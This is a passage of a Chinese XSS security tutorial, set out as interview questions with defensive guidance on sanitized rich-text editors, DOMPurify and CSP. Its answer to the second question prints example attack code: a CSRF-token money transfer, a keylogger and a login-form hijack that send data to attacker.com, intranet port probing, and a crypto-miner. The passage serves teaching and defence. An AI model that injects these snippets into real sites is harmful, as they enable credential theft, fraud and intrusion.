面试题 2:假设你发现了一个存储型 XSS 漏洞,但用户使用了 HttpOnly Cookie。攻击者还能通过这个 XSS 做什么?
答案:
即使 HttpOnly 阻止了 Cookie 窃取,XSS 依然能造成严重危害。攻击者至少可以做以下事情:
1. 绕过 CSRF Token
1
2
3
4
5
6
7
8
9
10
11
// 攻击者可以读取页面中的 CSRF Token 并发送恶意请求
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
fetch('/api/transfer', {
method: 'POST',
body: JSON.stringify({
toAccount: 'attacker-account',
amount: 10000,
_csrf: csrfToken
}),
credentials: 'include' // 浏览器会自动带上 HttpOnly Cookie
});
2. 键盘记录器
1
2
3
4
5
6
7
8
9
10
// 注入键盘记录器,窃取密码、支付信息等
document.addEventListener('keydown', (e) => {
fetch('https://attacker.com/keylog', {
method: 'POST',
body: JSON.stringify({
key: e.key,
url: window.location.href
})
});
});
3. 页面内容篡改
1
2
3
4
5
6
7
8
9
10
11
12
// 修改页面内容,劫持登录表单
document.querySelector('form').action = 'https://attacker.com/steal-credentials';
// 或显示假的弹窗要求输入密码
const fakeDialog = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.5);z-index:99999">
<div style="background:white;padding:20px;margin:200px auto;width:300px">
<h2>会话已过期,请重新登录</h2>
<input type="password" placeholder="请输入密码" id="fakepw">
<button onclick="stealPw()">确认</button>
</div>
</div>`;
document.body.innerHTML += fakeDialog;
4. 内网探测
1
2
3
4
5
6
7
// 利用 JS 探测内网(SSRF 的浏览器端版本)
for (let port = 3000; port < 3010; port++) {
const img = new Image();
img.onload = () => fetch(`https://attacker.com/discover?port=${port}`);
img.onerror = () => {}; // 忽略错误
img.src = `http://192.168.1.1:${port}/favicon.ico`;
}
5. Crypto-miner
1
2
3
4
5
6
// 在页面中嵌入挖矿脚本(如不再活跃的 Coinhive)
const worker = new Worker('miner.js');
worker.postMessage({
siteKey: 'attacker-miner-key',
threads: navigator.hardwareConcurrency
});
结论:HttpOnly Cookie 只能防止窃取会话 Cookie这一种攻击路径。XSS 仍然可以:
- ✅ 表单劫持 / 键盘记录
- ✅ 页面内容篡改
- ✅ CSRF 类操作(内部 API 调用)
- ✅ 内网探测
- ✅ 钓鱼弹窗
- ✅ DDoS 攻击(发起大量请求)
HttpOnly 不能替代输出编码和 CSP,它只是一个防御深度层。
面试题 3:如何设计一个不受 XSS 影响的富文本编辑器?
答案:
设计安全富文本编辑器的核心挑战是:允许用户输入 HTML(这样才能有加粗、斜体、图片等富文本效果),但又不让恶意 HTML 执行。
推荐方案:基于 Markdown 的富文本编辑器
1
用户输入 Markdown ──→ 保存到服务器(纯文本) ──→ 渲染时转换成安全的 HTML
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
// 安全富文本编辑器的核心实现思路
// 1️⃣ 用户编辑时使用 Markdown(或安全的自定义语法)
// 由 marked / remark 等 Markdown 解析器处理
const marked = require('marked');
// 2️⃣ 配置 Markdown 渲染器,只允许安全标签
const renderer = new marked.Renderer();
// 覆盖 link 渲染函数,确保所有链接安全
renderer.link = ({ href, title, text }) => {
// 只允许 http/https 协议
const safeHref = href.startsWith('http://') || href.startsWith('https://')
? href
: '#';
return `<a href="${escapeAttr(safeHref)}"
rel="noopener noreferrer"
target="_blank">${escapeHtml(text)}</a>`;
};
// 覆盖 image 渲染函数
renderer.image = ({ href, title, text }) => {
// 只允许 HTTPS 图片
if (!href.startsWith('https://')) return '';
return `<img src="${escapeAttr(href)}"
alt="${escapeHtml(text || '')}"
loading="lazy" />`;
};
// 3️⃣ 最终输出再经过 DOMPurify 做二次防护
const safeHTML = DOMPurify.sanitize(marked.parse(userInput, { renderer }), {
ALLOWED_TAGS: ['h1','h2','h3','h4','h5','h6',
'p','br','hr','strong','em','b','i',
'a','ul','ol','li','blockquote','pre','code',
'img','table','thead','tbody','tr','th','td',
'dl','dt','dd'],
ALLOWED_ATTR: ['href','target','rel','src','alt','title',
'loading','class'],
ALLOW_DATA_ATTR: false,
});
// 4️⃣ 如果需要更复杂的富文本(如表格、代码块高亮),可使用
// 基于 Slate.js / ProseMirror / TipTap 的编辑器
// 这些编辑器以 JSON 而非 HTML 存储内容,天然避免了 HTML 注入
// 以 TipTap (ProseMirror) 为例:
import Document from '@tiptap/extension-document';
import Paragraph from '@tiptap/extension-paragraph';
import Text from '@tiptap/extension-text';
import Bold from '@tiptap/extension-bold';
import Link from '@tiptap/extension-link';
// ✅ 编辑器实例会自动处理内容输出
const editor = new Editor({
extensions: [
Document,
Paragraph,
Text,
Bold,
Link.configure({
// 关键配置:自动添加 rel="noopener noreferrer"
openOnClick: false,
HTMLAttributes: {
rel: 'noopener noreferrer',
target: '_blank',
},
// ✅ 允许的链接协议
protocols: ['http', 'https'],
}),
],
});
// ✅ 安全的导出方式:editor.getJSON() → 保存 JSON 而非 HTML
// ✅ 渲染时:editor.getHTML() → 仍应经过 DOMPurify
最佳实践总结:
| 方案 | 安全性 | 用户体验 | 实现复杂度 |
|---|---|---|---|
| Markdown 编辑器 | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐ |
| Slate.js / ProseMirror / TipTap | ⭐⭐⭐⭐⭐ | ⭐⭐⭐⭐⭐ | ⭐⭐⭐⭐⭐ |
| 正则过滤 + DOMPurify | ⭐⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐⭐⭐ |
dangerouslySetInnerHTML + DOMPurify | ⭐⭐⭐⭐ | ⭐⭐⭐⭐⭐ | ⭐ |
| 自己写 HTML 过滤器 | ⭐⭐ | ⭐⭐⭐ | ⭐⭐⭐⭐ |
永远不要自己写 HTML 清洗函数(mXSS 变种太多,必须用 DOMPurify 这类经过大量实战考验的库)。
8. 总结与扩展
核心要点回顾
- XSS 的三类变种:存储型(持久化在服务器)、反射型(通过请求反射)、DOM 型(客户端注入)
- 防御的黄金法则:永不信任用户输入。在输出阶段根据上下文(HTML/属性/JS/URL)进行编码
- CSP 是最后也是最强的防线:使用 nonce 或 hash 策略,从根本上禁止内联脚本和事件处理器
- 框架的自动防御:React、Vue 等现代框架默认对模板变量进行转义,但
dangerouslySetInnerHTML、v-html等逃生口需要特别注意 - HttpOnly Cookie:虽然是一个重要防御层,但远不能解决 XSS 的全部威胁
- SANITIZE 的陷阱:DOMPurify 是行业标准,但需要保持最新版以防御新出现的 mXSS 变种
值得继续深挖的方向
- CSP Level 3:
strict-dynamic、unsafe-hashes、report-to等新特性 - Trusted Types API:Chrome 83+ 的实验性 API,强制开发者使用安全的 DOM 操作方式
- SRI(Subresource Integrity):防御 CDN 侧劫持导致的第三方脚本篡改
- XSSI(Cross-Site Script Inclusion):通过 JSONP/CORS 配置不当泄露敏感数据
- CSRF + XSS 的组合攻击:如何同时防御这两类攻击
思考题
- 在一个 React 应用中,如果状态管理库(如 Redux)的 state 中包含用户输入的 HTML,并且在组件中通过
dangerouslySetInnerHTML渲染,如何确保安全?(提示:在存入 Redux 之前或渲染时进行清洗) CSP: script-src 'nonce-xxx'和script-src 'strict-dynamic'组合使用时,如何确保通过document.createElement('script')动态创建的脚本也能受到 CSP 保护?- 如果一个 SPA 应用完全使用 React/Vue,不需要内联脚本,是否可以设置最严格的 CSP 策略?这样设置会有什么潜在问题?
参考资源: